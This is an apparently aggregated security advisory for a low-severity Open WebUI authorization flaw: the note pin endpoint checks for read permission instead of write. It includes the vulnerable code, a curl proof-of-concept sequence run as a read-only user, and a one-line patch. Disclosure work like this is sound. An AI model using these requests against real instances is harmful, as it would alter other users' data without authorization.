GHSA-JX2X-J75F-XQ3J

Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58
VLAI
Summary
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Details

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
    # ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',        # BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)

    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation

Compare with update endpoint (correct, line 318-327):

async def update_note_by_id(...):
    # ...
    and not await AccessGrants.has_access(
        permission='write',        # correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup: 1. UserA creates a note 2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result: - Step 1: UserB reads note (READ) -> 200 OK ✓ - Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked) - Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG) - Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

Impact

  • A user with only read access to a shared note can toggle its is_pinned status
  • This modifies the note's state without write authorization
  • The pin status change is visible to the note owner and all other users with access
  • Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

Fix

One-line fix — change permission='read' to permission='write' in pin_note_by_id:

# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:14Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission.\n\n### Details\n\n**Affected code: `backend/open_webui/routers/notes.py` lines 412-444**\n\n```python\n@router.post(\u0027/{id}/pin\u0027, response_model=Optional[NoteModel])\nasync def pin_note_by_id(...):\n    # ...\n    if user.role != \u0027admin\u0027 and (\n        user.id != note.user_id\n        and not await AccessGrants.has_access(\n            user_id=user.id,\n            resource_type=\u0027note\u0027,\n            resource_id=note.id,\n            permission=\u0027read\u0027,        # BUG: should be \u0027write\u0027\n            db=db,\n        )\n    ):\n        raise HTTPException(...)\n    \n    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation\n```\n\n**Compare with update endpoint (correct, line 318-327):**\n```python\nasync def update_note_by_id(...):\n    # ...\n    and not await AccessGrants.has_access(\n        permission=\u0027write\u0027,        # correctly checks \u0027write\u0027\n    )\n```\n\n### PoC\n\n**Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled.\n\n**Setup:**\n1. UserA creates a note\n2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{\"access_grants\":[{\"principal_type\":\"user\",\"principal_id\":\"USERB_ID\",\"permission\":\"read\"}]}`\n\n**Test:**\n```bash\n# Step 1: UserB reads note (READ permission) -\u003e 200 OK, write_access: false\ncurl -s http://TARGET/api/v1/notes/$NOTE_ID \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"write_access\": false\n\n# Step 2: UserB updates note (WRITE operation) -\u003e 403 Forbidden (correctly blocked)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \\\n  -H \"Authorization: Bearer $TOKEN_B\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"title\":\"HACKED\",\"content\":\"pwned\",\"data\":{\"type\":\"note\"}}\u0027\n# Result: 403 Forbidden\n\n# Step 3: UserB pins note (WRITE operation, but only checks READ) -\u003e 200 OK (BUG!)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": true\n\n# Step 4: UserB can toggle pin repeatedly\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": false (toggled back)\n```\n\n**E2E Verified Result:**\n- Step 1: UserB reads note (READ) -\u003e 200 OK \u2713\n- Step 2: UserB updates note (WRITE) -\u003e 403 Forbidden \u2713 (correctly blocked)\n- Step 3: UserB pins note (WRITE via READ) -\u003e 200 OK, is_pinned: true \u2717 (BUG)\n- Step 4: UserB toggles pin again -\u003e 200 OK, is_pinned: false \u2717 (repeated write)\n\n### Impact\n\n- A user with only `read` access to a shared note can toggle its `is_pinned` status\n- This modifies the note\u0027s state without write authorization\n- The pin status change is visible to the note owner and all other users with access\n- Privilege escalation from read to write on the pin operation\n\n**Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.\n\n### Fix\n\nOne-line fix \u2014 change `permission=\u0027read\u0027` to `permission=\u0027write\u0027` in `pin_note_by_id`:\n\n```python\n# backend/open_webui/routers/notes.py, line 437\n- permission=\u0027read\u0027,\n+ permission=\u0027write\u0027,\n```\n\nThis makes the pin endpoint consistent with update and delete endpoints.",
  "id": "GHSA-jx2x-j75f-xq3j",
  "modified": "2026-05-19T15:58:35Z",
  "published": "2026-05-14T20:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45316"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…